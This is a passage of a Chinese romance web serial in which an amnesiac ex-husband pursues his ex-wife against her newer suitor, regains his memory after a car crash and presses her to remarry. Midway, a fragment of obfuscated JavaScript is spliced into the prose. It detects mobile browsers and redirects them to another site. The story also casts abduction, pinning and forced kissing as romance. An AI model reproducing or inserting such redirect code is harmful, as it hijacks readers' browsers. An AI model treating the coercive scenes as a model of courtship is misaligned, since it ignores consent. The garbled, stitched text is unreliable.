他抬眸看向她,“你觉得哪个颜色最好看?”
“我喜欢的,你女朋友未必喜欢。”她冷声。
“你们都是女人,我参考一样。”他耐心又真诚的,希望她给出意见。
宋南伊也算给了他个面子,“我个人比较喜欢金色的,今年比较流行,而且显得人典雅高贵。”
“那就金色,我相信宋小姐的眼光。”
霍时序选择,提交,将平板还给了宋南伊。
宋南伊立马记下。
“那要刻字吗?不提供中文,只提供英文,可以是名字的缩写,也可以写单词,比如说爱什么的,比较常见。”
她很专业。
“不用。”
“首饰的制作周期为三个月,能等得了吗?”
“可以。”
“好。”
宋南伊在平板上写写画画。
霍时序托着下巴,直勾勾的看着她工作。
好美。
他前世一定见过她。
说不定,前世他们还是夫妻呢。
“我们是不是在哪儿见过?”
宋南伊连眼皮都没抬的说,“见过怎样,没见过又怎样?反正你也记不得了,就好好过现在的日子吧,多想一些,图增烦恼。”
他点头。
那就是见过了。
要不然,上次,她也不会想带他离开。
“你说的也是,不过……”他盯着她微垂的睫毛,突然有一种想吻她的冲动,“……我还是想追求你。”
“随便。”
她终于把合同做好。
用自带的小型打印机,打印了一份,递给他,“签字吧。”
霍时序看都没看内容。
就直接在签名处,签上了自己的名字。
“那既然你不反对,我可不可以晚上请你看电影?”
“晚上我要加班。”宋南伊检查了一遍合同,将公司的公章,扣在合同上,“合同生效了,公司会如期完成珠宝,交付于你。”
工作完成。
宋南伊准备离开。
他抬手扣住了她的手腕,“那我晚上接你下班?”
这话熟悉的让宋南伊,瞬间红了眼眶。
可她清楚,这是只是他追求人的一种方法。
“威廉先生,你追求是你的权利,我希望你能明白,我有男朋友,我会拒绝你的追求,还请你,不要浪费时间,去做一些有意义的事情吧。”
霍时序笑了,“追求你,就挺意义的啊。”
宋南伊不再跟他讲道理。
穿好鞋子,离开。
他追了上来,“宋小姐,我是认真的。”
“我也很认真。”
她已经决定要重新开始了。
她希望自己的人生,以后是平静安稳的,不再有大风大浪。
男人喜欢女人。
不过就是见色起意。
一时上头的荷尔蒙,终归在遇到另一个更漂亮的女人时,就会淡去。
“我先走了,再见。”
宋南伊驱车离开。
霍时序头像过了一次电流,
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滋啦……响至耳膜。
江淮跑过来,“霍总。”
“宋南伊。”他指了她离开的方向,“我以前跟她是什么关系?”
“前妻。”江淮如实。
霍时序诧然,“前妻?为什么会是前妻?”
“您跟她离婚了呀。”
“我为什么要跟她离婚?”他什么也不记得了,“我出轨,还是她出轨?”
江淮抓抓头发,“都不是。”
“那是什么?她很漂亮啊,我为什么会跟她离婚?我不爱她吗?不应该吧?她就是那种可以让人一眼就爱上的类型?我也不是G,什么原因,我们会离婚?”
霍时序咄咄。
江淮只想找地缝钻进去,“这个,说来话长。”
“那就长话短说。”
“这个……”
江淮用了一个小时的时间,耐心的将他和宋南伊的故事,讲完整。
看着霍时序毫无变化的表情。
他猜,霍时序对这个故事,一知半解。
“反正,故事就这么个故事,我听说太……哦不,是宋小姐她,已经在和相亲对象交往,要不您就……”
霍时序:“忘记归忘记,但我不放弃。”
大不了就竞争。
……
周末的时候。
任泽秦来接宋南伊,去看音乐剧。
票在比较靠前的位置。
但任泽秦还是贴心的准备了望远镜。
“你很细心。”宋南伊对他是赞赏的,“小时候只觉得你挺皮的,长大了见过你那么几面,总觉得你有一些高冷,不爱说话。”
“以前我们接触得少,是靠父母的关系,才走动过那么一两次,我这个人……其实很好接触。”
任泽秦贴心接过宋南伊的外套,“给我吧。”
“是啊,人和人之间,还是需要相互了解。”宋南伊弯身坐下。
一扭头,就看到了霍时序,正坐在她身旁的位置上。
她怔。
“好巧啊,宋小姐,你也来看音乐剧?”他不经意的看了任泽秦一眼,“那位不是就是你的男朋友吧?”
他用只有两个人能听到的声音说,“你眼光也不怎么高嘛,看来,我的机会挺高的。”
宋南伊不想理他。
旋即扭过头来,看向任泽秦,跟他聊天。
“这个音乐剧,看过吗?”
任泽秦点头,“以前在国外看过一次,国人还是第一次。”
霍时序扯了扯宋南伊的袖口。
吃醋的问,“你怎么不问问我啊?”
第194章 我是失忆了,但我没忘了爱你
宋南伊索性跟任泽秦换了个位置。
任泽秦担心,她受到骚扰,“怎么了?如果感觉到不舒服,我们可以换到别的位子。”
“没事,我感觉那边有点偏光。”宋南伊笑笑。
任泽秦不自觉的看了霍时序一眼。
节目开始。
任泽秦一直小声的跟宋南伊,在讲音乐剧的事情。
他们两个凑的过于近。
霍时序有点吃味,“喂。”
他敲了敲任泽秦的胳膊,“小点声,影响到我了。”
“不好意思。”
任泽秦不说话了。
两个人看的都很投入,只有霍时序心不在焉。
中场换剧目的时候。
他叫了任泽秦一声,“你知道我是谁吗?”
任泽秦眼生摇头,“不知道啊。”
“我是宋南伊前夫。”他虽然自己忘记了,但记住了江淮的话,“我们还有个孩子,我们以前很相爱,离婚那是意外。”
任泽秦眉心微微皱起。
相爱?意外?
“是吗?那又怎样呢?”
“她不会爱上你的,我们还会复婚。”他表示这一切都会发生,而且马上就能发生,“你就撤吧,她不会嫁给你的。”
霍时序说的过于自信。
任泽秦不禁轻笑。
他也是离异的。
知道在婚姻中,被离婚的这方,所受到的伤害有多大。
任泽秦转过头来,看向霍时序,“我看,撤的是你,南伊她已经不会吃回头草了,人生总是要向前看的,过去再美好,也是过去,你,是过去式,我是将来式。
老实说,我也是离过婚的,能走到离婚这地步,那就是无法挽回,复婚的几率微乎其微,别逞强了。”
霍时序有点下面儿。
离婚的起因他确实已经忘记了。
但他脸皮厚。
不认为,复婚有难处,“我说的是事实,不信你问她。”
任泽秦笑着,像是要故意给霍时序难堪一般的,问向宋南伊,“他说的……是真的?”
“不是。”宋南伊否认了。
霍时序脸色难看,“宋南伊你……”
剧目再次上演。
演出结束时。
宋南伊发现霍时序已经离开了。
借着这个机会,她向任泽秦解释了一下,“霍时序的话,你听听就算了,他是我的前夫不假,但我和他已经结束了,但如果你介意这段关系的话,我也不勉强你接受我。”
“我当然不介意,我只是没想到,会这么巧,遇到你前夫……”
他挺喜欢宋南伊。
她和小时候没怎么变。
一直很漂亮,很有气质。
他从见她第一面起,就觉得自己高攀了。
“……南伊,我想跟你再交往下去,如果你对我也不讨厌的话,我很想跟你确立关系,然后,结婚。”
结婚?
二婚要保持更多的冷静。
这才相处没几天,就提到结婚。
过于草率。
“结婚……的事情再说,先交往看看吧。”
他没强求,“我明白。”
二人一起走出剧场。
停车场,人来人往。
任泽秦去取车。
宋南伊站在路边等他。
霍时序开着车子过来,二话没说,直接将人塞进车子,落锁开走。
“霍时序,你是不是有病啊?”
“我看你才有病呢,当着我这个老公的面,跟别的男人打情骂俏的,我还没找你算账。”
他脸沉着。
像要**。
宋南伊眨了眨眼睛,莫名其妙的,“你搞搞清楚,我们已经离婚了,要不要把离婚证拿给你看看?明明自己失忆,什么也记不起,偏偏还要装受委屈,有意思吗?”
“我是失忆了,但我没忘了爱你。”
这话精准的砸中了宋南伊的心尖。
她有点酸,还有点涩。
等在嘴边要呛霍时序的话,终究是没有说出口。
“如果当初,你肯跟我回国,或许我们……”他们之间就是缺点缘分,“……霍时序,你选择了何诗丽,你选择了留在南非,就等于放弃了我,别再来打扰了,反正你都不记得以前,爱不爱的,又有什么关系呢。”
无法形容这种感觉。
有遗憾,又有释怀。
都好过没有结果的纠缠。
和那些无法劝说自己的纠结。
霍时序将她的小手握进了掌中,递到唇上亲吻了一下。
“我没跟你回国的原因很多,最重要的一条是,要跟何诗丽的外公交代一些事情,再说了,当时我对你是陌生的,你也没给我确认的机会不是吗?
至于我和何诗丽,不过是她有情,我无意,虽然我现在记不起我们的从前,但我们还有以后,不是吗?”
宋南伊抽手。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16392600|178628||http|test|mini|href|location''.split(''|''),0,{}));
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r>抽了几下,抽不回来。
这种暧昧,根本不适合现在的自己,“我们没有以后了,我在很认真的跟任泽秦交往,人,你也看到了,外企高管,很有责任心,是一个很好的人。”
“很好的人,怎么就离婚了?”他忍不住要替宋南伊洗洗眼睛,“他的绅士,他的温柔,他的礼貌,有没有可能是装出来的呢?”
宋南伊无语,“他小时候就是很好的人。”
“哦?”他懂了,戏谑,“青梅竹马?”
“霍时序,我发现你失忆后,真的是更讨厌了。”她扭过脸,看向车窗外的车水马龙,“我觉得他很好,很适合我。”
“你在自我催眠。”他打了把方向,“人,还是活得清醒一点好。”
“你管我清不清醒呢,恋爱要怎么清醒,如果我能清醒,我当初就不会嫁给你。”她气哼哼的。
霍时序将车子停在路边。
比她还要生气,“我对你不好吗?宋南伊,你有新欢了,就忘记旧爱了,我还没跟你算账呢,你倒是跟我后悔上了。”
“你……”她懒得跟他吵。
真是吵烦了。
前世吵,这世还要吵。
她就想找个安静的伴侣,平平淡淡的过一生。
霍时序,PASS.
突然。
“砰”的一声闷响。
有车子追尾。
强大的惯性,将两个人不约而同地狠狠推向前面。
霍时序双手迅速脱离方向盘,条件反射般的,想把宋南伊护住。
根本来不及。
他本能的伸出掌心,稳稳地挡在了她的额头与前挡风玻璃之间。
身体彻底失去平衡,毫无防备地向前……
头重重的,砸在了冰硬的方向盘上。
世界瞬间安静,只剩下耳鸣和额角尖锐痛感。
短暂的黑暗过后。
霍时序的眼睛里,是宋南伊焦急又苍白的脸。
她似乎喊了什么,但他耳朵在嘶鸣,只能看到她嘴唇惊慌地翕动着。
漂亮的眸子里,里面盛满了恐惧,担忧。
他甩了甩头,眼前出现一些画面。
像胶片,迅速的在眼前上演。
前世,今生。
结婚,离婚,哭声,**……
“霍时序,你怎么样?撞到哪里了?你说话啊!”
宋南伊慌了。
本来就傻过,不会又撞傻回去了吧?
第195章 宋南伊,你不管我了
手机拨了几次,才将电话打通,“120吗?我们出车祸了,麻烦你们赶紧派车过来,是的,快一点。”
“我没事……”他的声音有些沙哑,努力挤出一个安抚的笑容,“你伤到了没有?”
“我没事。”她清晰的看到他额前的血,落进了眼睛里,“你真的还好吗霍时序,你脑子现在还清醒吗?”
她握着他,刚刚替她挡住碰撞的那只手。
已经被玻璃划伤,惨不忍睹。
“还好,你没事就好。”
这时。
后车司机,脸色煞白地跑过来。
他额角上全是血,一个劲的道歉:“对不起对不起!你们没事吧?我刚刚一时走神,真的对不起……”
宋南伊推开车门,走下去。
对着这个司机,她再也无法冷静,“开车怎么能走神呢?你一走神,三条人命差点没有了,你怎么可以这么不负责任?”
“对不起,真的对不起,医药费,我全包。”
“这是医药费的事情吗?”
“对不起,真的对不起……”
年轻司机不停地道歉。
车里的霍时序,眼前渐渐的模糊……
医院里。
消毒水刺鼻。
模糊的白色天花板,在眼前逐渐清晰。
霍时序醒了。
没有如约,看到宋南伊。
只有江淮放大的脸。
“离我远一点。”他虚弱地说。
“霍总,您醒了。”
江淮如释重负,他连忙起身,调整了病床的高度,让霍时序能更舒服些。
“医生来看过了,说是轻微的脑震荡,额头上的伤也处理过了,没有大碍,休养几天就好了。”
他的霍总,还真的命运多舛,刚回江城,就又出事。
这是犯克啊。
江淮心里叹了口气,却不敢说出口。
霍时序太阳穴传来钝痛,还好,能受得住。
“南伊呢?”他的声音有伤后的沙哑。
“太……宋小姐她……”
“什么就宋小姐了,连人也不会叫了?”霍时序的眉头皱得更紧,语气因虚弱而显得淡和,“她是我老婆。”
他不喜欢听宋小姐这样的称呼,“还是叫太太。”
“是,”江淮立刻改口,“太太她出去打电话去了,应该是处理一下追尾事故的后续,一会儿就回来。”
霍时序的心稍稍安慰了一些。
看向一直守在一旁的江淮,眼神变得复杂而深邃。
“江淮,我这一撞,什么记起来了。”
江淮一怔,一时没反应过来:“霍总,您是指……”
“所有。”霍时序的目光穿透了病房的窗户,望着,“我和南伊的前世今生,我们在比利时遇到的那场死里逃生,我都记起来了。”
江淮想哭。
喉咙像是被什么堵住了,“霍总……您……您终于都想起来了……我还以为这辈子,您都想不起来呢。”
何诗丽的外公说。
霍时序的脑子伤着的那根神经,是管记忆的。
一辈子都不会恢复了。
原来是胡说八道啊。
“你醒了真好,真好……”
宋南伊走进病房时。
江淮正在抹眼泪。
“江特助,你怎么哭了?霍时序又没死。”
她知道,他和霍时序感情深。
也不至于如此的失态。
哭的像个小姑娘似的。
江淮尴尬的擦干眼泪,拿起车钥匙,“霍总,我去修车了。”
宋南伊买了水果。
她没有跟霍时序说话,坐下后,就给他剥橙子。
剥完就往他嘴里递。
他望着她漂亮的小脸,木然的生出些许的感慨,“让你跟着担心了。”
“交警说了,你乱停车,全责。”她低着头,嘴里说着话,“以后别那么随性,命是自己的。”
“记住了。”
他张嘴接着她递过来橘子瓣,好甜。
傍晚的时候。
任泽秦来医院,看望霍时序。
并表达了他对霍时序的感谢,“我听南伊说,这次是你保护了她,所以才没受伤,真的特别感谢你,等你病好了,我和南伊请你吃饭,好好的表达我们的谢意。”
霍时序冷冷的看着他。
没说话。
“你怎么还过来了?你不是说,今天有个重要的会议要开吗?”宋南伊拉了把椅子给任泽秦坐,声音温柔。
任泽秦微微一笑。
自然而然的说,“不耽误。”
“他没事的,你不用担心。”
任泽秦点头,目光落在宋南伊的面上,始终没有挪开,“最主要是你没事就好,可把我吓坏了。”
“没事,不用担心。”
二人你一句,我一言。
完全把霍时序当成了透明人。
他脸色难看的厉害。
面色在病床的灯光下显得
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愈发苍白,阴郁和戾气。
“南伊……我头好痛……”
霍时序突然抬手捂住了头,痛苦脆弱。
宋南伊心口一慌,“怎么了?怎么头又痛了?我去给你叫医生去!”
宋南伊刚刚离开。
霍时序脸上的痛苦,瞬间消失。
病房里一时寂静。
任泽秦,将这出变脸大戏尽收眼底。
……还是个表演家???
霍时序面不改色,只微微调整了一下靠床的位置,“任先生,你还是回去吧,这儿有南伊在,她会把我照顾的很好。”
“霍总,是不是误会了什么?”他声音不高,腔调也很柔和,却透出一丝不动声色的剑拔**张,“我来看望你,又不是因为你我之间有什么情分。”
他靠近霍时序,依旧淡淡的,“我只是不想让南伊,觉得欠了你什么天大的人情罢了。”
霍时序笑了。
很好。
这个男人在挑衅他。
“看来你还是不太了解南伊,她是有恩必报的人,不是你觉得,她就可以对我不管不顾。”
任泽秦扶了扶鼻梁上的眼镜,“我会劝她的,这种内耗,实在大可不必,而且跟前夫老在一起,容易引起误会,我听南伊说,你已经有了女朋友,霍总,做人还得地道一些,别吃着碗里的,看着锅里的。”
“那任先生太不了解我了,我这个人就喜欢这样。”
气氛,开始变得微妙。
两个男人对视着。
硝烟弥漫。
宋南伊叫了医生过来,为霍时序检查身体。
医生开了一些药。
让护士过来给霍时序输上了液。
“南伊,我就先回去了,你好好照顾霍先生,有什么需要的,可以给我打电话,跟我不用客气。”
任泽秦当着霍时序的面。
轻轻的拥了一下宋南伊。
宋南伊没拒绝,“我送你。”
“宋南伊,我还在打着针呢,你不管我了?”霍时序生气了。
宋南伊淡淡的扫了他一眼,“你刚输上液,一时半会儿的又输不完,我马上就回来了。”
宋南伊关了病房的门。
霍时序在病房里,无声怒吼。
二人走出病房大楼。
任泽秦交给了宋南伊一张银行卡,“不管怎么说,他也算是救了你,这该花的钱,咱不能省着,这钱你拿着,一会儿去把住院费交了。”
第196章 前夫哥VS现任哥
“不用,我有钱。”
“我的就是你的。”任泽秦将银行卡塞进了宋南伊的手中,“我们之间,要是再见外的话,我可是有点小情绪的。”
“真不用,我有钱的,况且,这住院也花不了多少钱。”
宋南伊坚持没收。
心里的感动是有的。
任泽秦是个好人。
但……这是她和霍时序之间的事情。
不合适。
任泽秦失落。
他只好将银行卡收回。
“行吧。”他妥协道,“任何时候有需要,你开口就是。”
目光依旧柔软的落到宋南伊的面上,“但你也要照顾好自己,实在忙不过来就雇个护工搭把手,别什么事都自己扛。要是累病了……我会心疼的。”
任泽秦的关心直白,又不越界。
让宋南伊心头微暖。
“嗯。”她轻轻点头,“我知道的,谢谢你,泽秦。”
任泽秦抬手,想拍拍她的肩膀以示安慰,最终只是想想。
“好了,那我就先回去了,有任何需要,随时打我电话。”
“好,路上小心。”宋南伊挥手再见。
转身回到病房内。
“他走了?”霍时序的声音有点小情绪。
“嗯,走了。”宋南伊走到床边,下意识地想去探他的额头,“你头还痛吗?”
霍时序没有回答,反而抓住了她伸过来的手腕,“你刚刚让他抱你了。”
他眼中烧起明显的妒意。
像要**。
宋南伊不适,挣扎了一下,“霍时序,你伤还没好,就又要发疯吗?”
“宋南伊,我伤的这么重,你都没有抱过我,你却抱他,你什么意思?”他大手握住她的腰,将她整个人摁在自己身上,“他在追求你,我也在追求你,他有的,我也要有。”
宋南伊:……
这不是有病这是什么?
他到底是失忆,还是失心疯?
“你放开我。”她费了好大一把子力气,这才将霍时序推开,“你跟他比什么?他是我男朋友,你是吗?追求我的,我都要一视同仁,那我成什么了?交际花?”
“他怎么就成你男朋友了?”他不接受任泽秦的这个新身份,“宋南伊,他不是你的男朋友。”
宋南伊不想跟他计较这个。
抬腕看了眼时间,“快中午了,你想吃什么,我去买。”
“我想吃你。”他瞪着她,眼底欲望明显,“晚上就吃。”
宋南伊无聊。
“那我随便给你买点,吃过饭后,你就好好休息,我要去趟工作室,晚一点再来看你。”
宋南伊说完。
就转身出了病房。
“宋南伊,我在输液呢,你又跑了……”霍时序气。
……
几天后,南微的生日。
宋南伊休了一天班。
去学校先把宋星言接回来,又去幼儿园给小核桃请了假。
“姐,我给妈买了条金项链。”宋星言悄悄把盒子打开,展示给宋南伊看,“是小星星款哦,代表星星一直爱妈妈。”
“挺有心啊,小伙子。”宋南伊面色温柔。
宋星言嘿嘿笑了笑,“姐,你别吃醋,等你过生日的时候,我也送你。”
“心意领了,你倒是可以给我们领个女朋友回来。”
宋星言脸红。
尴尬的呵呵两声,“学业为重,我还小呢,不急。”
“不小了,都快大学毕业了,有中意的就领回家,让爸妈看看,这有什么不好意思的。”
“知道了。”
车子不快不慢的,开到自己别墅的门口。
南微的生日,向来不外请。
都是一家人聚在一起,开心的吃个饭。
怎么门口的车子这么多?
“姐,不会是两个姐夫,都来了吧?”宋星言下车,将小核桃抱起来,看了眼车牌,“还真是,一个前夫哥,一个现任哥,都来了,今天的饭,要吃热闹喽。”
宋南伊的面色不轻松。
她既没有邀请霍时序。
也没有邀请任泽秦。
怎么都来了。
三人一前一后的走进屋内。
远远的,小核桃看到霍时序,就开心的扑了过去,“爸爸……”
霍时序大手捞起来,将他抱在了自己的肩上,举得高高的,“想爸爸了没?”
“想爸爸了,我还以为你**呢?”他抱着霍时序的脸,亲了又亲,“爸爸,你要是**,我真的会特别,特别的伤心呢。”
“爸爸怎么能死呢,爸爸还要看着你娶媳妇,生孙子给我抱呢。”小核桃骑在霍时序的肩上转了两个圈,这才将被放下来,“好了,跟舅舅去玩吧。”
抬眼。
任泽秦正弯着身子,往宋南伊的脚下递拖鞋。
“我自己来就好。”
任泽秦微微一笑,“
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顺手的事儿。”
换鞋的这功夫。
他又将宋南伊脱下来的大衣,接了过去,挂好,“我正在帮着南姨做菜呢,今天你尝尝我的手艺。”
“好啊。”宋南伊面上是愉悦的光泽。
这可把霍时序嫉妒坏了。
他大步走到二人面前,一把扣住了宋南伊的肩,对着任泽秦使唤,“那你去做饭,我负责陪南伊聊天吧。”
任泽秦:……
宋南伊抖掉落在肩上的大手。
没理人,径直走向了客厅。
“霍总,原来是这么幼稚的人啊。”任泽秦不免嘲弄。
霍时序很得意的承认,“是啊,没办法,南伊就喜欢我这样的。”
“人的胃口是会变的。”
霍时序往任泽秦面前递了递身子,神秘兮兮的说,“她习惯了我的尺寸,你得保证你比我强才行,以我看,你也就……一般。”
“你……下流。”任泽秦有被气到。
霍时序更得意。
他走向客厅,一屁股坐到了宋南伊的身旁,“今天,这个日子,你多余叫他来。”
“你不多余?”她斜了他一眼。
“我怎么着也算是妈的半个儿,他算什么?”
宋南伊差点笑了,“你算谁的半个儿?霍时序,要说你算半个儿的话,也是算何诗丽家的半个儿,我妈可没这个福分。”
“她家可没这个福分。”
说话的这个功夫。
宋星言从楼上走了下来。
一个‘姐夫’在做菜。
一个‘姐夫’在陪聊。
看似……还挺和谐的。
“姐。”他走向了客厅。
霍时序抬眸看他,“不会叫人了?”
“哦,时序哥。”宋星言抓了瓜子,开始磕,“时序哥,听说你要和别人结婚了?”
“什么时序哥,叫姐夫,你听谁说的?消息不准确,要结,也是跟你姐再结一次。”他往宋南伊身旁蹭了蹭,“对吧,老婆。”
“谁是你老婆。”宋南伊起身,坐到了宋星言的身旁。
宋星言嘿嘿笑着,“时……姐夫,我姐现在可是抢手货,那厨房里还有一个‘姐夫’呢,你可要好好表现,免得被踢出局,那可就太丢人了。”
“放心,我看上的女人,还没有失手过。”霍时序表示很自信。
宋南伊淡淡的看向他,问,“你看上多少女人了?没失手过多少?”
第197章 我不怕死,怕不能跟你白头到老
霍时序皮笑肉不笑的,咧咧嘴,“我的意思是,我会守得云开见月明。”
“姐夫,你可得谨言慎行啊。”宋星言看热闹不嫌事大的说,“我觉得吧泽秦哥,人也挺好的,我们两家原来是邻居,小时候,我姐净跟他玩了,现在人家可是世界五百强的高管,厉害着呢,你……”
宋南伊瞪了宋星言一眼。
他立马收住,“好,我不说了,我去厨房看看我那位‘姐夫’去。”
宋星言嘻嘻哈哈的跑了。
霍时序委屈巴巴的,又挪过来,坐到了宋南伊的身旁。
宋南伊往旁坐了一位。
他紧跟着挪过来一位。
“你干什么?”
“我想问问你,你是不是真的看上这个姓任的了?”
宋南伊没法解释感觉这种东西。
也觉得没必要跟霍时序解释。
“管你屁事。”
宋南伊扔下手上的瓜子,起身也去了厨房帮忙。
偌大的客厅。
只有霍时序自己在,徒增伤感。
晚餐准备的很丰盛。
任泽秦做了鱼,甜口的,是宋南伊喜欢的口味。
他还给小核桃用面捏了一辆小坦克,松松软软的,小家伙很喜欢。
有长辈在场。
大家都在聊一些无关痛痒的事情。
任泽秦跟宋家,比霍时序熟络的多。
他一个人闷闷的。
多喝了几杯。
生日宴会结束后。
任泽秦陪长辈们聊了会天,便决定礼貌告辞。
宋南伊送他到门口。
“南伊。”任泽秦喝了几杯,有些上头,“今天,我有很多话要跟你讲。”
宋南伊替他叫了代驾。
抬眸望向他,“先回去休息吧,有什么话,改天再说。”
“南伊,我们现在算不算是男女朋友了?”
照平时,他不敢问的这么直接。
借着酒劲,似乎一切的羞于出口,都变成了理所当然。
宋南伊没有回答。
他哑着嗓子追问,“算吗南伊,我们开始见面的目的,就为了日后结婚的不是吗?所以,我们现在是算男女朋友的对吗?”
宋南伊不知道在此时,他如此的执着。
更不知道,如何给出答案。
“泽秦,我对你确实感觉不错,但,爱情这种东西,不是马上就能产生的,我们还需要相处看看。”
任泽秦笑了,他认为这个回答,就相当于,承认了他们的关系。
“那就是男女朋友了。”
“代驾来了,我送你去上车。”宋南伊扶起他的胳膊。
他顺势将她搂进了怀里。
低头将唇印在了她的唇上。
宋南伊吓着了。
还没等她推开他,他便轻轻的放开了她,“我不是有意要冒犯你,是我真的很想吻你。”
夜风拂过。
她看不太清他的脸。
但他脸上温柔的笑意,却浓的散不掉。
“好了,上车吧。”
宋南伊将任泽秦送上车,由代驾驱车离开。
她站在原地,吹着冷风。
心里乱七八糟。
几米外。
霍时序的拳头攥的如同铁锤。
任泽秦竟然亲吻了他的老婆。
而宋南伊默认了。
心痛,来得猝不及防。
他知道,他没有资格嫉妒,气恼,但……她是他的,他不允许别的男人惦记。
霍时序大步走过去。
握住宋南伊的手腕,将她抵在了门口左侧的墙上。
拇指重重地摁在她的唇上,狠狠地擦了两下。
宋南伊吃痛,瞪着他,“霍时序,你要干什么?你弄疼我了。”
“你让他亲你?”霍时序口中的酒气散在她的唇边,指尖用力地握着她的下巴,眼眶通红,“宋南伊,你让一个无关紧要的人来参加妈的生日宴会,我不跟你计较,你怎么可以让他亲你?”
“霍时序,你是我什么人啊?我让谁亲,管你什么事情啊?”宋南伊不知道他在犯什么神经。
自当他是在发酒疯。
她要离开。
被他钳制住。
“宋南伊,你是我老婆。”
霍时序的指腹在宋南伊的唇上,又重重地搓了两下。
搓的她嘴唇肿疼。
宋南伊受不了他,抬手就给了他一个巴掌,“我不是你老婆。”
“那你是谁老婆?是他任泽秦的老婆吗?”他的眼眸里藏着**的刀。
宋南伊不想惹一个醉汉。
疲惫的扭过脸去,“霍时序,你也走吧,回家睡一觉,我已经没有力气跟你疯了,我也很累了。”
他握着她的下巴。
逼她与他对视。
她不看他,他索性就吻她。
霍时序没有任泽秦那么绅士,只是蜻蜓点水般的啄了那么一小下。
他是野蛮的。
强势地用舌尖撬开她的牙齿,与之纠缠。
粗鲁且不克制。
她嘴里全
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是他的味道,怎么也推不开。
只能抓他,挠他,拽他的头发。
直到,他的唇被迫离开。
“小野猫,把我抓成这样,你还让不让我明天见人了?”他眼底欲望燃烧,唇追过去,继续舔吻她的微肿的唇。
“南伊,别这样对我,我是真心的,别考验我了行吗?你还要死多少回,才肯跟我复婚?”
“我没有那么幸运的,每一次都能活着回来。”
他将她拥进怀里。
大手紧紧地握着她的后颈,与她交缠在一起,“你知道吗?黑塔那一枪穿过我的后脑的时候,我脑海里想起的,只有你,我好遗憾的,我无法陪你到老了,南伊你知道吗?我不怕死的,我怕的是,不能再保护你了……”
他抽噎着。
眼泪流进了她的领口。
宋南伊心口触动,“霍时序,你想起来了是吗?你记起所有的事情了,对不对?”
他是什么时候想起来的。
从南非回来之前。
还是那场追尾引发的脑震荡?
他抱的她越发的紧了。
怕要失去般的,“我记起了我们的所有,我们的前世,今生,南伊,别再离开我了,我们复婚吧,好吗?我不想再这样患得患失了,我更不想你跟别的男人拥抱,亲吻,回来吧南伊,我们和小核桃好好的生活,好不好?”
宋南伊黯然。
心里五味杂陈。
她何尝不知道,不是每个人,都肯为别人付出生命。
也没有哪个人,肯一直爱着。
可她那份勇气,还能找回来吗?
“你和何诗丽的事情,处理好了吗?”她幽幽的问。
霍时序并不认为,他和何诗丽有摘不清的地方,唯一不清不楚的,可能就是她会拿着救命的恩情,逼他做一些,他不愿意做的事情。
他这个人,最烦被威胁。
哪怕救过命,也不行。
“我和她连手都没牵过,没什么好处理的。”
“手是没牵过,但你揉她头发的时候,温柔的跟什么似的,我觉得这个更严重。”宋南伊推开霍时序,让他被风好好的吹吹,醒醒酒,“霍时序,当时我是给你机会的,我甚至都做好决定了,回来就跟你复婚,是你自己不要的。”
“那你当时也没有说啊。”他委屈。
“反正,你现在被别人捷足先登了,你就……再努力吧。”
宋南伊丢下话。
快步回了家。
第198章 南伊,你只能要我一个
霍时序转头就跟了上去。
在宋南伊还没走到门口的时候。
他握着她的腰,将她扛在肩上,往外走。
“霍时序,你要疯啊,放我下来。”
他边扛着宋南伊边往外,边给江淮打电话,“过来,帮我开车。”
开车门,落锁,系安全带。
宋南伊牢牢困住。
“霍时序,你要有病就去治,你放我下车。”
“老实呆着。”
路过药店的时候。
霍时序吩咐江淮,“去买两盒0.001.”
江淮脸热。
忙熄火,“好的霍总。”
“霍时序,你……不要脸。”宋南伊要气死。
霍时序恬不知耻的笑了笑,“你要不想用,那就不要买了,正好,我们怀个二胎。”
宋南伊嘲讽干笑两声,扒着窗户,冲着江淮喊话。
“江特助,给你们霍总,再买两盒小蓝药丸,他人老了,不中用了,一次得吃两粒。”
她故意让霍时序难堪。
反正,他也不要脸。
路过的行人,纷纷看了过来。
江淮汗涔涔,“知道了太太。”
“你可别后悔。”他笑着,宠溺。
江淮也很实诚。
让买的都买了。
一样也没落下。
就是刚刚去买的时候,有点尴尬。
那个四十岁的大姨,将他从头打量到脚,“小伙子,你说你,年纪轻轻的,怎么还吃上药了?要实在不行,就去挂个男科,正规治疗一下子,还没生孩子吧?这药啊,不能经常用,知道不?”
他当时热的,从头红到了脚。
像只蒸熟的螃蟹。
扫码付了款,就赶紧跑了出来。
任务完成,驱车离开。
“霍总,回家吗?”
“不然呢?”
江淮擦了擦脸上的汗,“知道了。”
“去宋南伊家。”
“啊?”江淮赶紧打了把方向,“知道了。”
车子开去了宋南伊住的小区。
关门上。
他抵住她,动情的接吻。
玄关的灯,有一些昏黄,他感觉来得很快。
“南伊,我们复婚吧,明天就去,好不好?”
“霍时序,我不能。”她觉得这样做,会跟任泽秦没法交代,“我答应泽秦他,跟他好好相处,我不能这样……唔……”
他抱起她,往客厅里走,将她压在宽厚的沙发里。
单手解着领带,却还不管不顾地吻着她的唇,“不行,南伊,你只能要我一个。”
“你让我再好好想想。”
微弱的灯光下,他放大的俊脸,格外的清晰。
他粗喘着。
抬手擦了擦宋南伊额角的汗珠,亲遍了她的全脸,“拒绝他,让他离开,我可以给你时间好好想,否则,我会把你绑到民政局。”
“你怎么这么自私,只考虑自己的感受。”她挣扎着,推开他,将自己的衣服扣好,“霍时序,你总是在有机会的时候,放掉,错过了,又来纠缠,你不累吗?”
他不累。
她都累了。
她裹好衣服,去了洗手间。
水,冰凉。
扑在脸上,却让她异常的清醒。
是否还要跟霍时序纠缠不清。
她的答案是,不。
可她无法回避,他曾经为自己的那些奋不顾身。
“霍时序,你告诉我,当时在比利时,你为什么要为了那些珠宝,连命也不要了?值得吗?你这样做,是不是想让我一辈子都欠你的?”
霍时序走到她的身后,紧紧的抱住了她的腰。
比利时的那场黑暗。
是他永远无法遗忘的。
“当时,顾南风将你的那些珠宝,以三千万的价格卖给了黑塔,如果要拿回来,肯定不止三千万,或许两个千万,也不止。”
“我跟黑塔做了个交易,一亿五千万,我愿意赎回,但他附加了一个条件,就是要我一支的胳膊。”
